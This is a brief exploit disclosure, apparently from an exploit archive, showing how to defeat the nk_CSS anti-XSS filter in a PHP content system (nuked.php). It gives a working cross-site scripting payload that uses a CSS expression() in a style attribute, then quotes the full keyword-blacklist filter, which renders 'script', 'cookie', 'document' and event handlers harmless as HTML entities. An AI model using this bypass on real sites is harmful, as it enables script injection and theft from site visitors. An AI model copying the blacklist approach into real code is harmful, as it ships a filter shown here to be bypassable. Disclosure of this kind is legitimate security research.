// - BEGIN -
// By Blwood
// http://blwood.net <http://blwood.net/>
We can bypassed the function anti-xss called nk_CSS ( nuked.php) using
like this :
<b id="blwood" style="width:expression(alert(' http://www.blwood.net'))
<http://www.blwood.net%27%29%29/>"></b>
Here is the function :
function nk_CSS($str)
{
if ($str != "")
{
$str = eregi_replace("content-disposition:","&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#100;&#105;&#115;&#112;&#111;&#115;&#105;&#116;&#105;&#111;&#110;&#58;",$str);
$str = eregi_replace("content-type:","&amp;#99;&amp;#111;&amp;#110;&amp;#116;&amp;#101;&amp;#110;&amp;#116;&amp;#45;&amp;#116;&amp;#121;&amp;#112;&amp;#101;&amp;#58;",$str);
$str = eregi_replace("content-transfer-encoding:","&amp;#99;&amp;#111;&amp;#110;&amp;#116;&amp;#101;&amp;#110;&amp;#116;&amp;#45;&amp;#116;&amp;#114;&amp;#97;&amp;#110;&amp;#115;&amp;#102;&amp;#101;&amp;#114;&amp;#45;&amp;#101;&amp;#110;&amp;#99;&amp;#111;&amp;#100;&amp;#105;&amp;#110;&amp;#103;&amp;#58;",$str);
$str = eregi_replace("include","&amp;#105;&amp;#110;&amp;#99;&amp;#108;&amp;#117;&amp;#100;&amp;#101;",$str);
$str = eregi_replace("\<\?","&amp;lt;?",$str);
$str = eregi_replace("<\?php","&amp;lt;?php",$str);
$str = eregi_replace("\?\>","?&amp;gt;",$str);
$str = eregi_replace("script","&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;",$str);
$str = eregi_replace("eval","&amp;#101;&amp;#118;&amp;#97;&amp;#108;",$str);
$str = eregi_replace("javascript","&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;",$str);
$str = eregi_replace("embed","&amp;#101;&amp;#109;&amp;#98;&amp;#101;&amp;#100;",$str);
$str = eregi_replace("iframe","&amp;#105;&amp;#102;&amp;#114;&amp;#97;&amp;#109;&amp;#101;",$str);
$str = eregi_replace("refresh", "&amp;#114;&amp;#101;&amp;#102;&amp;#114;&amp;#101;&amp;#115;&amp;#104;", $str);
$str = eregi_replace("onload", "&amp;#111;&amp;#110;&amp;#108;&amp;#111;&amp;#97;&amp;#100;", $str);
$str = eregi_replace("onstart", "&amp;#111;&amp;#110;&amp;#115;&amp;#116;&amp;#97;&amp;#114;&amp;#116;", $str);
$str = eregi_replace("onerror", "&amp;#111;&amp;#110;&amp;#101;&amp;#114;&amp;#114;&amp;#111;&amp;#114;", $str);
$str = eregi_replace("onabort", "&amp;#111;&amp;#110;&amp;#97;&amp;#98;&amp;#111;&amp;#114;&amp;#116;", $str);
$str = eregi_replace("onblur", "&amp;#111;&amp;#110;&amp;#98;&amp;#108;&amp;#117;&amp;#114;", $str);
$str = eregi_replace("onchange", "&amp;#111;&amp;#110;&amp;#99;&amp;#104;&amp;#97;&amp;#110;&amp;#103;&amp;#101;", $str);
$str = eregi_replace("onclick", "&amp;#111;&amp;#110;&amp;#99;&amp;#108;&amp;#105;&amp;#99;&amp;#107;", $str);
$str = eregi_replace("ondblclick", "&amp;#111;&amp;#110;&amp;#100;&amp;#98;&amp;#108;&amp;#99;&amp;#108;&amp;#105;&amp;#99;&amp;#107;", $str);
$str = eregi_replace("onfocus", "&amp;#111;&amp;#110;&amp;#102;&amp;#111;&amp;#99;&amp;#117;&amp;#115;", $str);
$str = eregi_replace("onkeydown", "&amp;#111;&amp;#110;&amp;#107;&amp;#101;&amp;#121;&amp;#100;&amp;#111;&amp;#119;&amp;#110;", $str);
$str = eregi_replace("onkeypress", "&amp;#111;&amp;#110;&amp;#107;&amp;#101;&amp;#121;&amp;#112;&amp;#114;&amp;#101;&amp;#115;&amp;#115;", $str);
$str = eregi_replace("onkeyup", "&amp;#111;&amp;#110;&amp;#107;&amp;#101;&amp;#121;&amp;#117;&amp;#112;", $str);
$str = eregi_replace("onmousedown", "&amp;#111;&amp;#110;&amp;#109;&amp;#111;&amp;#117;&amp;#115;&amp;#101;&amp;#100;&amp;#111;&amp;#119;&amp;#110;", $str);
$str = eregi_replace("onmousemove", "&amp;#111;&amp;#110;&amp;#109;&amp;#111;&amp;#117;&amp;#115;&amp;#101;&amp;#109;&amp;#111;&amp;#118;&amp;#101;", $str);
$str = eregi_replace("onmouseover", "&amp;#111;&amp;#110;&amp;#109;&amp;#111;&amp;#117;&amp;#115;&amp;#101;&amp;#111;&amp;#118;&amp;#101;&amp;#114;", $str);
$str = eregi_replace("onmouseout", "&amp;#111;&amp;#110;&amp;#109;&amp;#111;&amp;#117;&amp;#115;&amp;#101;&amp;#111;&amp;#117;&amp;#116;", $str);
$str = eregi_replace("onmouseup", "&amp;#111;&amp;#110;&amp;#109;&amp;#111;&amp;#117;&amp;#115;&amp;#101;&amp;#117;&amp;#112;", $str);
$str = eregi_replace("onreset", "&amp;#111;&amp;#110;&amp;#114;&amp;#101;&amp;#115;&amp;#101;&amp;#116;", $str);
$str = eregi_replace("onselect", "&amp;#111;&amp;#110;&amp;#115;&amp;#101;&amp;#108;&amp;#101;&amp;#99;&amp;#116;", $str);
$str = eregi_replace("onsubmit", "&amp;#111;&amp;#110;&amp;#115;&amp;#117;&amp;#98;&amp;#109;&amp;#105;&amp;#116;", $str);
$str = eregi_replace("onunload", "&amp;#111;&amp;#110;&amp;#117;&amp;#110;&amp;#108;&amp;#111;&amp;#97;&amp;#100;", $str);
$str = eregi_replace("document", "&amp;#100;&amp;#111;&amp;#99;&amp;#117;&amp;#109;&amp;#101;&amp;#110;&amp;#116;", $str);
$str = eregi_replace("cookie", "&amp;#99;&amp;#111;&amp;#111;&amp;#107;&amp;#105;&amp;#101;", $str);
$str = eregi_replace("vbscript", "&amp;#118;&amp;#98;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;", $str);
$str = eregi_replace("location", "&amp;#108;&amp;#111;&amp;#99;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;", $str);
$str = eregi_replace("object", "&amp;#111;&amp;#98;&amp;#106;&amp;#101;&amp;#99;&amp;#116;", $str);
$str = eregi_replace("vbs", "&amp;#118;&amp;#98;&amp;#115;", $str);
$str = eregi_replace("href", "&amp;#104;&amp;#114;&amp;#101;&amp;#102;", $str);
$str = eregi_replace("src", "&amp;#115;&amp;#114;&amp;#99;", $str);
}
return($str);
}
// - END -